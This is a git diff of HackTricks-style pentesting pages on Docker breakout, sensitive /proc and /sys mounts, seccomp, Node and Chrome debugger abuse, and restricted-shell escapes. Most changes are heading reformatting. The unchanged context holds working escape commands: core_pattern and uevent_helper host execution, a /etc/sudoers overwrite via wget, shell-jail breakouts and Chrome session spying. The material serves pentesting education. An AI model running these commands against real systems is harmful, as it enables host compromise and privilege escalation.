b/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts.md index 0f381a52..9cd72370 100644 --- a/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -17,21 +17,19 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Sensitive Mounts - (_**This info was taken from**_ [_**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**_](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)) Due to the lack of namespace support, the exposure of `/proc` and `/sys` offers a source of significant attack surface and information disclosure. Numerous files within the `procfs` and `sysfs` offer a risk for container escape, host modification or basic information disclosure which could facilitate other attacks. In order to abuse these techniques might be enough just to **miss-configure something like `-v /proc:/host/proc`** as AppArmor does not protect `/host/proc` because **AppArmor is path based** -## procfs +# procfs -### /proc/sys +## /proc/sys `/proc/sys` typically allows access to modify kernel variables, often controlled through `sysctl(2)`. -#### /proc/sys/kernel/core\_pattern +### /proc/sys/kernel/core\_pattern [/proc/sys/kernel/core\_pattern](https://man7.org/linux/man-pages/man5/core.5.html) defines a program which is executed on core-file generation (typically a program crash) and is passed the core file as standard input if the first character of this file is a pipe symbol `|`. This program is run by the root user and will allow up to 128 bytes of command line arguments. This would allow trivial code execution within the container host given any crash and core file generation (which can be simply discarded during a myriad of malicious actions). @@ -42,7 +40,7 @@ echo "|$overlay/shell.sh" > core_pattern sleep 5 && ./crash & ``` -#### /proc/sys/kernel/modprobe +### /proc/sys/kernel/modprobe [/proc/sys/kernel/modprobe](https://man7.org/linux/man-pages/man5/proc.5.html) contains the path to the kernel module loader, which is called when loading a kernel module such as via the [modprobe](https://man7.org/linux/man-pages/man8/modprobe.8.html) command. Code execution can be gained by performing any action which will trigger the kernel to attempt to load a kernel module (such as using the crypto-API to load a currently unloaded crypto-module, or using ifconfig to load a networking module for a device not currently used). @@ -51,26 +49,26 @@ sleep 5 && ./crash & ls -l `cat /proc/sys/kernel/modprobe` ``` -#### /proc/sys/vm/panic\_on\_oom +### /proc/sys/vm/panic\_on\_oom [/proc/sys/vm/panic\_on\_oom](https://man7.org/linux/man-pages/man5/proc.5.html) is a global flag that determines whether the kernel will panic when an Out of Memory (OOM) condition is hit (rather than invoking the OOM killer). This is more of a Denial of Service (DoS) attack than container escape, but it no less exposes an ability which should only be available to the host -#### /proc/sys/fs +### /proc/sys/fs [/proc/sys/fs](https://man7.org/linux/man-pages/man5/proc.5.html) directory contains an array of options and information concerning various aspects of the file system, including quota, file handle, inode, and dentry information. Write access to this directory would allow various denial-of-service attacks against the host. -#### /proc/sys/fs/binfmt\_misc +### /proc/sys/fs/binfmt\_misc [/proc/sys/fs/binfmt\_misc](https://man7.org/linux/man-pages/man5/proc.5.html) allows executing miscellaneous binary formats, which typically means various **interpreters can be registered for non-native binary** formats (such as Java) based on their magic number. You can make the kernel execute a binary registering it as handlers.\ You can find an exploit in [https://github.com/toffan/binfmt\_misc](https://github.com/toffan/binfmt\_misc): _Poor man's rootkit, leverage_ [_binfmt\_misc_](https://github.com/torvalds/linux/raw/master/Documentation/admin-guide/binfmt-misc.rst)_'s_ [_credentials_](https://github.com/torvalds/linux/blame/3bdb5971ffc6e87362787c770353eb3e54b7af30/Documentation/binfmt\_misc.txt#L62) _option to escalate privilege through any suid binary (and to get a root shell) if `/proc/sys/fs/binfmt_misc/register` is writeable._ For a more in depth explanation of this technique check [https://www.youtube.com/watch?v=WBC7hhgMvQQ](https://www.youtube.com/watch?v=WBC7hhgMvQQ) -### /proc/config.gz +## /proc/config.gz [/proc/config.gz](https://man7.org/linux/man-pages/man5/proc.5.html) depending on `CONFIG_IKCONFIG_PROC` settings, this exposes a compressed version of the kernel configuration options for the running kernel. This may allow a compromised or malicious container to easily discover and target vulnerable areas enabled in the kernel. -### /proc/sysrq-trigger +## /proc/sysrq-trigger `Sysrq` is an old mechanism which can be invoked via a special `SysRq` keyboard combination. This can allow an immediate reboot of the system, issue of `sync(2)`, remounting all filesystems as read-only, invoking kernel debuggers, and other operations. @@ -81,21 +79,21 @@ If the guest is not properly isolated, it can trigger the [sysrq](https://www.ke echo b > /proc/sysrq-trigger ``` -### /proc/kmsg +## /proc/kmsg [/proc/kmsg](https://man7.org/linux/man-pages/man5/proc.5.html) can expose kernel ring buffer messages typically accessed via `dmesg`. Exposure of this information can aid in kernel exploits, trigger kernel address leaks (which could be used to help defeat the kernel Address Space Layout Randomization (KASLR)), and be a source of general information disclosure about the kernel, hardware, blocked packets and other system details. -### /proc/kallsyms +## /proc/kallsyms [/proc/kallsyms](https://man7.org/linux/man-pages/man5/proc.5.html) contains a list of kernel exported symbols and their address locations for dynamic and loadable modules. This also includes the location of the kernel's image in physical memory, which is helpful for kernel exploit development. From these locations, the base address or offset of the kernel can be located, which can be used to overcome kernel Address Space Layout Randomization (KASLR). For systems with `kptr_restrict` set to `1` or `2`, this file will exist but not provide any address information (although the order in which the symbols are listed is identical to the order in memory). -### /proc/\[pid]/mem +## /proc/\[pid]/mem [/proc/\[pid\]/mem](https://man7.org/linux/man-pages/man5/proc.5.html) exposes interfaces to the kernel memory device `/dev/mem`. While the PID Namespace may protect from some attacks via this `procfs` vector, this area of has been historically vulnerable, then thought safe and again found to be [vulnerable](https://git.zx2c4.com/CVE-2012-0056/about/) for privilege escalation. -### /proc/kcore +## /proc/kcore [/proc/kcore](https://man7.org/linux/man-pages/man5/proc.5.html) represents the physical memory of the system and is in an ELF core format (typically found in core dump files). It does not allow writing to said memory. The ability to read this file (restricted to privileged users) can leak memory contents from the host system and other containers. @@ -103,25 +101,25 @@ The large reported file size represents the maximum amount of physically address [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) -### /proc/kmem +## /proc/kmem `/proc/kmem` is an alternate interface for [/dev/kmem](https://man7.org/linux/man-pages/man4/kmem.4.html) (direct access to which is blocked by the cgroup device whitelist), which is a character device file representing kernel virtual memory. It allows both reading and writing, allowing direct modification of kernel memory. -### /proc/mem +## /proc/mem `/proc/mem` is an alternate interface for [/dev/mem](https://man7.org/linux/man-pages/man4/kmem.4.html) (direct access to which is blocked by the cgroup device whitelist), which is a character device file representing physical memory of the system. It allows both reading and writing, allowing modification of all memory. (It requires slightly more finesse than `kmem`, as virtual addresses need to be resolved to physical addresses first). -### /proc/sched\_debug +## /proc/sched\_debug `/proc/sched_debug` is a special file returns process scheduling information for the entire system. This information includes process names and process IDs from all namespaces in addition to process cgroup identifiers. This effectively bypasses the PID namespace protections and is other/world readable, so it can be exploited in unprivileged containers as well. -### /proc/\[pid]/mountinfo +## /proc/\[pid]/mountinfo [/proc/\[pid\]/mountinfo](https://man7.org/linux/man-pages/man5/proc.5.html) contains information about mount points in the process's mount namespace. It exposes the location of the container `rootfs` or image. -## sysfs +# sysfs -### /sys/kernel/uevent\_helper +## /sys/kernel/uevent\_helper `uevents` are events triggered by the kernel when a device is added or removed. Notably, the path for the `uevent_helper` can be modified by writing to `/sys/kernel/uevent_helper`. Then, when a `uevent` is triggered (which can also be done from userland by writing to files such as `/sys/class/mem/null/uevent`), the malicious `uevent_helper` gets executed. @@ -144,31 +142,31 @@ echo change > /sys/class/mem/null/uevent cat /output ``` -### /sys/class/thermal +## /sys/class/thermal Access to ACPI and various hardware settings for temperature control, typically found in laptops or gaming motherboards. This may allow for DoS attacks against the container host, which may even lead to physical damage. -### /sys/kernel/vmcoreinfo +## /sys/kernel/vmcoreinfo This file can leak kernel addresses which could be used to defeat KASLR. -### /sys/kernel/security +## /sys/kernel/security In `/sys/kernel/security` mounted the `securityfs` interface, which allows configuration of Linux Security Modules. This allows configuration of [AppArmor policies](https://gitlab.com/apparmor/apparmor/-/wikis/Kernel\_interfaces#securityfs-syskernelsecurityapparmor), and so access to this may allow a container to disable its MAC system. -### /sys/firmware/efi/vars +## /sys/firmware/efi/vars `/sys/firmware/efi/vars` exposes interfaces for interacting with EFI variables in NVRAM. While this is not typically relevant for most servers, EFI is becoming more and more popular. Permission weaknesses have even lead to some bricked laptops. -### /sys/firmware/efi/efivars +## /sys/firmware/efi/efivars `/sys/firmware/efi/efivars` provides an interface to write to the NVRAM used for UEFI boot arguments. Modifying them can render the host machine unbootable. -### /sys/kernel/debug +## /sys/kernel/debug `debugfs` provides a "no rules" interface by which the kernel (or kernel modules) can create debugging interfaces accessible to userland. It has had a number of security issues in the past, and the "no rules" guidelines behind the filesystem have often clashed with security constraints. -## References +# References * [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf) * [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf) diff --git a/linux-unix/privilege-escalation/docker-breakout/docker-privileged.md b/linux-unix/privilege-escalation/docker-breakout/docker-privileged.md index 4af07b97..210cfb58 100644 --- a/linux-unix/privilege-escalation/docker-breakout/docker-privileged.md +++ b/linux-unix/privilege-escalation/docker-breakout/docker-privileged.md @@ -17,13 +17,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Docker --privileged - -## What Affects +# What Affects When you run a container as privileged these are the protections you are disabling: -### Mount /dev +## Mount /dev In a privileged container, all the **devices can be accessed in `/dev/`**. Therefore you can **escape** by **mounting** the disk of the host. @@ -50,7 +48,7 @@ cpu nbd0 pts stdout tty27 {% endtab %} {% endtabs %} -### Read-only kernel file systems +## Read-only kernel file systems Kernel file systems provide a mechanism for a **process to alter the way the kernel runs.** By default, we **don't want container processes to modify the kernel**, so we mount kernel file systems as read-only within the container. @@ -75,7 +73,7 @@ mount | grep '(ro' {% endtab %} {% endtabs %} -### Masking over kernel file systems +## Masking over kernel file systems The **/proc** file system is namespace-aware, and certain writes can be allowed, so we don't mount it read-only. However, specific directories in the /proc file system need to be **protected from writing**, and in some instances, **from reading**. In these cases, the container engines mount **tmpfs** file systems over potentially dangerous directories, preventing processes inside of the container from using them. @@ -102,7 +100,7 @@ mount | grep /proc.*tmpfs {% endtab %} {% endtabs %} -### Linux capabilities +## Linux capabilities Container engines launch the containers with a **limited number of capabilities** to control what goes on inside of the container by default. **Privileged** ones have **all** the **capabilities** accesible. To learn about capabilities read: @@ -136,7 +134,7 @@ Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fset You can manipulate the capabilities available to a container without running in `--privileged` mode by using the `--cap-add` and `--cap-drop` flags. -### Seccomp +## Seccomp **Seccomp** is useful to **limit** the **syscalls** a container can call. A default seccomp profile is enabled by default when running docker containers, but in privileged mode it is disabled. Learn more about Seccomp here: @@ -171,7 +169,7 @@ Seccomp_filters: 0 Also, note that when Docker (or other CRIs) are used in a **Kubernetes** cluster, the **seccomp filter is disabled by default** -### AppArmor +## AppArmor **AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**. When you run with the `--privileged` flag, this protection is disabled. @@ -184,7 +182,7 @@ Also, note that when Docker (or other CRIs) are used in a **Kubernetes** cluster --security-opt apparmor=unconfined ``` -### SELinux +## SELinux When you run with the `--privileged` flag, **SELinux labels are disabled**, and the container runs with the **label that the container engine was executed with**. This label is usually `unconfined` and has **full access to the labels that the container engine does**. In rootless mode, the container runs with `container_runtime_t`. In root mode, it runs with `spc_t`. @@ -197,9 +195,9 @@ When you run with the `--privileged` flag, **SELinux labels are disabled**, and --security-opt label:disable ``` -## What Doesn't Affect +# What Doesn't Affect -### Namespaces +## Namespaces Namespaces are **NOT affected** by the `--privileged` flag. Even though they don't have the security constraints enabled, they **do not see all of the processes on the system or the host network, for example**. Users can disable individual namespaces by using the **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** container engines flags. @@ -227,11 +225,11 @@ PID USER TIME COMMAND {% endtab %} {% endtabs %} -### User namespace +## User namespace Container engines do **NOT use user namespace by default**. However, rootless containers always use it to mount file systems and use more than a single UID. In the rootless case, user namespace can not be disabled; it is required to run rootless containers. User namespaces prevent certain privileges and add considerable security. -## References +# References * [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines) diff --git a/linux-unix/privilege-escalation/docker-breakout/namespaces.md b/linux-unix/privilege-escalation/docker-breakout/namespaces.md index 5f4d3698..3ed286be 100644 --- a/linux-unix/privilege-escalation/docker-breakout/namespaces.md +++ b/linux-unix/privilege-escalation/docker-breakout/namespaces.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Namespaces - To get the namespace of a container you can do: ```bash @@ -34,7 +32,7 @@ docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash docker run -ti --name ubuntu2 -v /usr:/ubuntu2 ubuntu bash ``` -### **PID namespace** +## **PID namespace** Let’s look at processes running in Container ubuntu1: @@ -64,7 +62,7 @@ root 5516 1697 0 05:54 pts/31 00:00:00 bash bash process in Container1 and Container2 have the same PID 1 since they have their own process namespace. The same bash process shows up in host machine as a different pid. -### **Mount namespace** +## **Mount namespace** Let’s look at the root directory content in Container ubuntu1: @@ -84,7 +82,7 @@ boot etc lib media opt root sbin sys ubuntu2 var As we can see above, each Container has its own filesystem and we can see “/usr” from host machine mounted as “/ubuntu1” in Container1 and as “/ubuntu2” in Container2. -### **Network namespace** +## **Network namespace** Let’s look at ifconfig output in Container ubuntu1: @@ -134,7 +132,7 @@ lo Link encap:Local Loopback As we can see above, each Container has their own IP address. -### **IPC Namespace** +## **IPC Namespace** Let’s create shared memory in Container ubuntu1: @@ -162,7 +160,7 @@ key shmid owner perms bytes nattch status As we can see above, each Container has its own IPC namespace and shared memory created in Container 1 is not visible in Container 2. -### **UTS namespace** +## **UTS namespace** Let’s look at hostname of Container ubuntu1: @@ -180,7 +178,7 @@ root@8beb85abe6a5:/# hostname As we can see above, each Container has its own hostname and domainname. -### User namespace +## User namespace User namespaces are available from Linux kernel versions > 3.8. With User namespace, **userid and groupid in a namespace is different from host machine’s userid and groupid** for the same user and group. When Docker Containers use User namespace, each **container gets their own userid and groupid**. For example, **root** user **inside** **Container** is **not** root **inside** **host** **machine**. This provides greater security. In case the Container gets compromised and the hacker gets root access inside Container, the hacker still cannot break inside the host machine since the root user inside the Container is not root inside the host machine. Docker introduced support for user namespace in version 1.10.\ To use user namespace, Docker daemon needs to be started with **`--userns-remap=default`**(In ubuntu 14.04, this can be done by modifying `/etc/default/docker` and then executing `sudo service docker restart`)\ @@ -214,11 +212,11 @@ smakam14@jungle1:/usr$ cat /proc/8955/uid_map As we can see above, userid 0(root) in container 1 is mapped to userid 231072 in host machine.\ In the current Docker user namespace implementation, UID and GID mapping happens at Docker daemon level. There is work ongoing to allow the mappings to be done at Container level so that multi-tenant support is possible. -### CGroup Namespace +## CGroup Namespace Each cgroup namespace has its **own set of cgroup root directories**. These root directories are the base points for the relative locations displayed in the corresponding records in the `/proc/[pid]/cgroup` file. When a process creates a new cgroup namespace using clone(2) or unshare(2) with the CLONE\_NEWCGROUP flag, its current cgroups directories become the cgroup root directories of the new namespace. (This applies both for the cgroups version 1 hierarchies and the cgroups version 2 unified hierarchy.) -## References +# References * [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) * [https://man7.org/linux/man-pages/man7/cgroup\_namespaces.7.html](https://man7.org/linux/man-pages/man7/cgroup\_namespaces.7.html) diff --git a/linux-unix/privilege-escalation/docker-breakout/seccomp.md b/linux-unix/privilege-escalation/docker-breakout/seccomp.md index 4f40dc57..49da9313 100644 --- a/linux-unix/privilege-escalation/docker-breakout/seccomp.md +++ b/linux-unix/privilege-escalation/docker-breakout/seccomp.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Seccomp - -## Basic Information +# Basic Information **Seccomp** or Secure Computing mode, in summary, is a feature of Linux kernel which can act as **syscall filter**.\ Seccomp has 2 modes. @@ -30,7 +28,7 @@ seccomp mode is **enabled via the `prctl(2)` system call** using the `PR_SET_SEC **seccomp-bpf** is an extension to seccomp that allows **filtering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules. It is used by OpenSSH and vsftpd as well as the Google Chrome/Chromium web browsers on Chrome OS and Linux. (In this regard seccomp-bpf achieves similar functionality, but with more flexibility and higher performance, to the older systrace—which seems to be no longer supported for Linux.) -### **Original/Strict Mode** +## **Original/Strict Mode** In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read()` and `write()` to already-open file descriptors. If any other syscall is made, the process is killed using SIGKILL @@ -68,7 +66,7 @@ int main(int argc, char **argv) ``` {% endcode %} -### Seccomp-bpf +## Seccomp-bpf This mode allows f**iltering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules. @@ -122,7 +120,7 @@ void main(void) { ``` {% endcode %} -## Seccomp in Docker +# Seccomp in Docker **Seccomp-bpf** is supported by **Docker** to restrict the **syscalls** from the containers effectively decreasing the surface area. You can find the **syscalls blocked** by **default** in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) and the **default seccomp profile** can be found here [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\ You can run a docker container with a **different seccomp** policy with: @@ -146,7 +144,7 @@ docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname If you are using **Docker just to launch an application**, you can **profile** it with **`strace`** and **just allow the syscalls** it needs {% endhint %} -### Example Seccomp policy +## Example Seccomp policy To illustrate Seccomp feature, let’s create a Seccomp profile disabling “chmod” system call as below. @@ -178,7 +176,7 @@ Following output shows the “docker inspect” displaying the profile: ], ``` -### Deactivate it in Docker +## Deactivate it in Docker Launch a container with the flag: **`--security-opt seccomp=unconfined`** diff --git a/linux-unix/privilege-escalation/electron-cef-chromium-debugger-abuse.md b/linux-unix/privilege-escalation/electron-cef-chromium-debugger-abuse.md index 5e128736..e9e79e0f 100644 --- a/linux-unix/privilege-escalation/electron-cef-chromium-debugger-abuse.md +++ b/linux-unix/privilege-escalation/electron-cef-chromium-debugger-abuse.md @@ -16,9 +16,8 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## Node inspector/CEF debug abuse -### Basic Information +# Basic Information When started with the `--inspect` switch, a Node.js process listens for a debugging client. By **default**, it will listen at host and port **`127.0.0.1:9229`**. Each process is also assigned a **unique** **UUID**. @@ -56,7 +55,7 @@ When you start a debugged browser something like this will appear: DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369 ``` -#### Browsers, WebSockets and same-origin policy +## Browsers, WebSockets and same-origin policy Websites open in a web-browser can make WebSocket and HTTP requests under the browser security model. An **initial HTTP connection** is necessary to **obtain a unique debugger session id**. The **same-origin-policy** **prevents** websites from being able to make **this HTTP connection**. For additional security against [**DNS rebinding attacks**](https://en.wikipedia.org/wiki/DNS\_rebinding)**,** Node.js verifies that the **'Host' headers** for the connection either specify an **IP address** or **`localhost`** or **`localhost6`** precisely. @@ -64,7 +63,7 @@ Websites open in a web-browser can make WebSocket and HTTP requests under the br This **security measures prevents exploiting the inspector** to run code by **just sending a HTTP request** (which could be done exploiting a SSRF vuln). {% endhint %} -#### Starting inspector in running processes +## Starting inspector in running processes You can send the **signal SIGUSR1** to a running nodejs process to make it **start the inspector** in the default port. However, note that you need to have enough privileges, so this might grant you **privileged access to information inside the process** but no a direct privilege escalation. @@ -77,7 +76,7 @@ kill -s SIGUSR1 This is useful in containers because **shutting down the process and starting a new one** with `--inspect` is **not an option** because the **container** will be **killed** with the process. {% endhint %} -#### Connect to inspector/debugger +## Connect to inspector/debugger If you have access to a **Chromium base browser** you can connect accessing `chrome://inspect` or `edge://inspect` in Edge. Click the Configure button and ensure your **target host and port** are listed (Find an example in the following image of how to get RCE using one of the next sections examples). @@ -107,7 +106,7 @@ The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefd Note that **NodeJS RCE exploits won't work** if connected to a browser via [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) \*\*\*\* (you need to check the API to find interesting things to do with it). {% endhint %} -### RCE in NodeJS Debugger/Inspector +# RCE in NodeJS Debugger/Inspector {% hint style="info" %} If you came here looking how to get [**RCE from a XSS in Electron please check this page.**](../../pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/) @@ -122,12 +121,12 @@ require('child_process').spawnSync('calc.exe') Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"})) ``` -### Chrome DevTools Protocol Payloads +# Chrome DevTools Protocol Payloads You can check the API here: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ In this section I will just list interesting things I find people have used to exploit this protocol. -#### Overwrite Files +## Overwrite Files Change the folder where **downloaded files are going to be saved** and download a file to **overwrite** frequently used **source code** of the application with your **malicious code**. @@ -143,11 +142,11 @@ ws.send(JSON.stringify({ })); ``` -#### Webdriver RCE and exfiltration +## Webdriver RCE and exfiltration According to this post: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) it's possible to obtain RCE and exfiltrate internal pages from theriver. -#### Post-Exploitation +## Post-Exploitation In a real environment and **after compromising** a user PC that uses Chrome/Chromium based browser you could launch a Chrome process with the **debugging activated and port-forward the debugging port** so you can access it. This way you will be able to **inspect everything the victim does with Chrome and steal sensitive information**. @@ -157,7 +156,7 @@ The stealth way is to **terminate every Chrome process** and then call something Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session" ``` -### References +# References * [https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s](https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s) * [https://github.com/taviso/cefdebug](https://github.com/taviso/cefdebug) diff --git a/linux-unix/privilege-escalation/escaping-from-a-docker-container.md b/linux-unix/privilege-escalation/escaping-from-a-docker-container.md index 16e0156a..856ce170 100644 --- a/linux-unix/privilege-escalation/escaping-from-a-docker-container.md +++ b/linux-unix/privilege-escalation/escaping-from-a-docker-container.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Escaping from a Docker container - -## `--privileged` flag +# `--privileged` flag {% code title="Initial PoC" %} ```bash @@ -80,7 +78,7 @@ Further, Docker [starts containers with the `docker-default` AppArmor](https://d A container would be vulnerable to this technique if run with the flags: `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` -### Breaking down the proof of concept +## Breaking down the proof of concept Now that we understand the requirements to use this technique and have refined the proof of concept exploit, let’s walk through it line-by-line to demonstrate how it works. @@ -149,11 +147,11 @@ root 10 0.0 0.0 0 0 ? I 13:57 0:00 [rcu_sched] root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0] ``` -## `--privileged` flag v2 +# `--privileged` flag v2 The previous PoCs work fine when the container is configured with a storage-driver which exposes the full host path of the mount point, for example `overlayfs`, however I recently came across a couple of configurations which did not obviously disclose the host file system mount point. -### Kata Containers +## Kata Containers ```text root@container:~$ head -1 /etc/mtab @@ -164,7 +162,7 @@ kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virt \* More on Kata Containers in a future blog post. -### Device Mapper +## Device Mapper ```text root@container:~$ head -1 /etc/mtab @@ -173,13 +171,13 @@ root@container:~$ head -1 /etc/mtab I saw a container with this root mount in a live environment, I believe the container was running with a specific `devicemapper` storage-driver configuration, but at this point I have been unable to replicate this behaviour in a test environment. -### An Alternative PoC +## An Alternative PoC Obviously in these cases there is not enough information to identify the path of container files on the host file system, so Felix’s PoC cannot be used as is. However, we can still execute this attack with a little ingenuity. The one key piece of information required is the full path, relative to the container host, of a file to execute within the container. Without being able to discern this from mount points within the container we have to look elsewhere. -#### Proc to the Rescue +### Proc to the Rescue The Linux `/proc` pseudo-filesystem exposes kernel process data structures for all processes running on a system, including those running in different namespaces, for example within a container. This can be shown by running a command in a container and accessing the `/proc` directory of the process on the host:Container @@ -229,7 +227,7 @@ findme This changes the requirement for the attack from knowing the full path, relative to the container host, of a file within the container, to knowing the pid of _any_ process running in the container. -#### Pid Bashing +### Pid Bashing This is actually the easy part, process ids in Linux are numerical and assigned sequentially. The `init` process is assigned process id `1` and all subsequent processes are assigned incremental ids. To identify the host process id of a process within a container, a brute force incremental search can be used:Container @@ -249,7 +247,7 @@ root@host:~$ cat /proc/${COUNTER}/root/findme findme ``` -#### Putting it All Together +### Putting it All Together To complete this attack the brute force technique can be used to guess the pid for the path `/proc//root/payload.sh`, with each iteration writing the guessed pid path to the cgroups `release_agent` file, triggering the `release_agent`, and seeing if an output file is created. @@ -347,7 +345,7 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` -## Use containers securely +# Use containers securely Docker restricts and limits containers by default. Loosening these restrictions may create security issues, even without the full power of the `--privileged` flag. It is important to acknowledge the impact of each additional permission, and limit permissions overall to the minimum necessary. @@ -362,7 +360,7 @@ To help keep containers secure: * Use [official docker images](https://docs.docker.com/docker-hub/official_images/) or build your own based on them. Don’t inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images. * Regularly rebuild your images to apply security patches. This goes without saying. -## References +# References * [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) * [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/_fel1x/status/1151487051986087936) diff --git a/linux-unix/privilege-escalation/escaping-from-limited-bash.md b/linux-unix/privilege-escalation/escaping-from-limited-bash.md index b06d61f2..2816fe0e 100644 --- a/linux-unix/privilege-escalation/escaping-from-limited-bash.md +++ b/linux-unix/privilege-escalation/escaping-from-limited-bash.md @@ -17,13 +17,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Escaping from Jails - -## **GTFOBins** +# **GTFOBins** **Search in** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **if you can execute any binary with "Shell" property** -## Chroot limitation +# Chroot limitation From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is **not intended to defend** against intentional tampering by **privileged** (**root**) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**. @@ -76,9 +74,9 @@ chroot "."; system("/bin/bash"); ``` -## Bash Jails +# Bash Jails -### Enumeration +## Enumeration Get info about the jail: @@ -90,7 +88,7 @@ export pwd ``` -### Modify PATH +## Modify PATH Check if you can modify the PATH env variable @@ -100,14 +98,14 @@ PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change echo /home/* #List directory ``` -### Using vim +## Using vim ```bash :set shell=/bin/sh :shell ``` -### Create script +## Create script Check if you can create an executable file with _/bin/bash_ as content @@ -116,7 +114,7 @@ red /bin/bash > w wx/path #Write /bin/bash in a writable and executable path ``` -### Get bash from SSH +## Get bash from SSH If you are accessing via ssh you can use this trick to execute a bash shell: @@ -126,7 +124,7 @@ ssh user@ -t "bash --noprofile -i" ssh user@ -t "() { :; }; sh -i " ``` -### Declare +## Declare ```bash declare -n PATH; export PATH=/bin;bash -i @@ -134,7 +132,7 @@ declare -n PATH; export PATH=/bin;bash -i BASH_CMDS[shell]=/bin/bash;shell -i ``` -### Wget +## Wget You can overwrite for example sudoers file @@ -142,7 +140,7 @@ You can overwrite for example sudoers file wget http://127.0.0.1:8080/sudoers -O /etc/sudoers ``` -### Other tricks +## Other tricks [**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\ [https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells**]\(https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\ @@ -153,7 +151,7 @@ wget http://127.0.0.1:8080/sudoers -O /etc/sudoers [bypass-bash-restrictions.md](../useful-linux-commands/bypass-bash-restrictions.md) {% endcontent-ref %} -## Python Jails +# Python Jails Tricks about escaping from python jails in the following page: @@ -161,7 +159,7 @@ Tricks about escaping from python jails in the following page: [bypass-python-sandboxes](../../misc/basic-python/bypass-python-sandboxes/) {% endcontent-ref %} -## Lua Jails +# Lua Jails In this page you can find the global functions you have access to inside lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base) diff --git a/linux-unix/privilege-escalation/exploiting-yum.md b/linux-unix/privilege-escalation/exploiting-yum.md index d75fe46d..2e57fa9d 100644 --- a/linux-unix/privilege-escalation/exploiting-yum.md +++ b/linux-unix/privilege-escalation/exploiting-yum.md @@ -16,18 +16,16 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -# Exploiting Yum Further examples around yum can also be found on [gtfobins](https://gtfobins.github.io/gtfobins/yum/). -## Executing arbitrary commands via RPM Packages -### Checking the Environment +# Executing arbitrary commands via RPM Packages +## Checking the Environment In order to leverage this vector the user must be able to execute yum commands as a higher privileged user, i.e. root. -#### A working example of this vector +### A working example of this vector A working example of this exploit can be found in the [daily bugle](https://tryhackme.com/room/dailybugle) room on [tryhackme](https://tryhackme.com). -### Packing an RPM +## Packing an RPM In the following section, I will cover packaging a reverse shell into an RPM using [fpm](https://github.com/jordansissel/fpm). The example below creates a package that includes a before-install trigger with an arbitrary script that can be 